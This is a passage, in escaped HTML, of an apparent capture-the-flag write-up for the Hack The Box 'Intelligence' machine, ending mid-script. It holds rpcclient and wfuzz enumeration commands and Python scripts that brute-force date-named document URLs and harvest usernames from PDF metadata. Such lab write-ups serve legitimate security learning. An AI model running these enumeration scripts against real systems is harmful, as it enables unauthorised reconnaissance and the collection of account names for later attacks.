intelligence.htb&lt;/p&gt;&#10;&lt;p&gt;53 domain&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0503.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0504.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;135&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0505.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We have limited access.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; -N 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only enumprivs works, and it doesn&amp;rsquo;t return anything useful.&lt;/p&gt;&#10;&lt;p&gt;139/445&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0506.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0507.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0508.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;ldap&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0509.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0510.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing useful here. I&amp;rsquo;d already collected this information earlier.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s pretty much all the services checked. Brute-forcing port 80 found nothing either, so I&amp;rsquo;ll take a closer look. The dnsenum command I just used brute-forces subdomains through port 53, but it returned no results. I&amp;rsquo;ll try brute-forcing them myself with FFUF.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.248 -H &amp;#34;Host: FUZZ.intelligence.htb&amp;#34; --hh 7432&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I turned my attention to UDP. Port 123 is the only UDP service that&amp;rsquo;s different, since UDP ports 53, 88, and 389 are no different from their TCP counterparts. I haven&amp;rsquo;t encountered NTP on port 123 before.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-ntp" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/network-services-pentesting/pentesting-ntp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;There are payloads here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0511.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing useful.&lt;/p&gt;&#10;&lt;p&gt;This is really strange. After working through so many earlier boxes, I felt like I had a pretty thorough grasp of domain recon. But after collecting everything here, I have nothing besides the primary domain. Maybe I&amp;rsquo;m supposed to use an exploit?&lt;/p&gt;&#10;&lt;p&gt;No luck there either. I&amp;rsquo;m stuck.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0512.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But I did find two files on port 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://intelligence.htb/documents/2020-12-15-upload.pdf" target="_blank" rel="noopener"&#10; &gt;http://intelligence.htb/documents/2020-12-15-upload.pdf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://dc.intelligence.htb/documents/2020-01-01-upload.pdf" target="_blank" rel="noopener"&#10; &gt;http://intelligence.htb/documents/2020-01-01-upload.pdf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;There doesn&amp;rsquo;t seem to be anything in either file.&lt;/p&gt;&#10;&lt;p&gt;Neither strings nor head revealed anything, and the PDFs themselves look empty too. I thought it might be a Caesar cipher, but decoding it went nowhere.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0513.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing, and the domain didn&amp;rsquo;t turn up anything either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0514.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is tough. I was completely out of ideas, so I looked at the next step in the write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0515.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was my first time seeing this kind of text, and also my first time seeing this method of extracting detailed information. I&amp;rsquo;ll learn about both of them first.&lt;/p&gt;&#10;&lt;p&gt;Lorem Ipsum-style text generally contains repeated Latin words.&lt;/p&gt;&#10;&lt;p&gt;PDF metadata analysis (using ExifTool) can extract metadata and reveal information.&lt;/p&gt;&#10;&lt;p&gt;Unless you&amp;rsquo;re doing forensics, I don&amp;rsquo;t think this is something you&amp;rsquo;d normally expect here. At least now I know the entry point.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0516.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found two creators—two usernames—and both accounts do exist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0517.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now that I have the accounts, I&amp;rsquo;ll use this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0518.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0519.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing.&lt;/p&gt;&#10;&lt;p&gt;Based on how the PDFs on the website are named:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://dc.intelligence.htb/documents/2020-01-01-upload.pdf" target="_blank" rel="noopener"&#10; &gt;http://dc.intelligence.htb/documents/2020-01-01-upload.pdf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It&amp;rsquo;s clear that the filename is based on the year, month, and day. There may be more hidden files like this, and I need to extract them.&lt;/p&gt;&#10;&lt;p&gt;I started building a PoC.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import datetime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # &amp;#39;If-Modified-Since&amp;#39;: &amp;#39;Thu, 01 Apr 2021 17:00:00 GMT&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # &amp;#39;If-None-Match&amp;#39;: &amp;#39;&amp;#34;0e86d731827d71:0&amp;#34;&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://dc.intelligence.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start_date = datetime.date(2020,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;end_date = datetime.date(2022,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dalta = datetime.timedelta(days=1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date_list = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while start_date &amp;lt; end_date:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; date_list.append(start_date)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start_date += dalta&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;./url.txt&amp;#39;,&amp;#39;a&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).write(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0520.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import PyPDF2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from io import BytesIO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import datetime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://intelligence.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start_date = datetime.date(2020,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;end_date = datetime.date(2022,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dalta = datetime.timedelta(days=1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def Evidence(start_date):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; docinfo = pdffile.getDocumentInfo()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # print(&amp;#39;[*] PDF metadata For：&amp;#39;+ str(filepath))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for metaItem in docinfo:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, end=&amp;#39; &amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(metaItem.strip(&amp;#39;/&amp;#39;), &amp;#34;:&amp;#34;, docinfo[metaItem])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;users.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(docinfo[metaItem] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except Exception as e:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if __name__ == &amp;#39;__main__&amp;#39;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while start_date &amp;lt; end_date:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Evidence(start_date)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start_date += dalta&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;One thing worth mentioning: if the headers include the following two values, the response will always be 304.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# &amp;#39;If-Modified-Since&amp;#39;: &amp;#39;Thu, 01 Apr 2021 17:00:00 GMT&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# &amp;#39;If-None-Match&amp;#39;: &amp;#39;&amp;#34;0e86d731827d71:0&amp;#34;&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0521.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried to retrieve the hashes for SPN accounts, but there weren&amp;rsquo;t any. I still felt like I was missing something.&lt;/p&gt;&#10;&lt;p&gt;I created a new test.py that downloads all the text from every PDF and writes it to test.txt, making it easier to inspect them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import PyPDF2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from io import BytesIO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import datetime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: 